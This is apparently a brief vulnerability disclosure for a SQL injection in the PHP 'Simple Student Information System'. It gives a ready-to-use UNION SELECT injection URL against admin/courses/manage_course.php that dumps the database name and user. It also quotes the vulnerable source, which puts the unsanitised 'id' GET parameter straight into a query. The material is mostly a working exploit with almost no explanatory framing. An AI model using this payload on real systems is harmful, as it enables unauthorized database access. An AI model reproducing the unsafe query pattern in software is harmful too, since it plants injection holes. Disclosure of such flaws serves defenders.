Vendor Homepage:

https://www.sourcecodester.com

Source Code Download:

https://www.sourcecodester.com/php/15147/simple-student-information-system-phpoop-free-source-code.html

Payload

Simple Student Information System SQL Injection

http://192.168.1.8/sis/admin/courses/manage_course.php?id=-6659%27%20%20union%20select%201,2,database(),user(),5,6,7,8--%20-
image-20220808034927957

code

admin/courses/manage_course.php line 1-13,

 <?php
require_once('../../config.php');
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `course_list` where id = '{$_GET['id']}'");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k))
            $$k = $v;
        }
    }
}
?>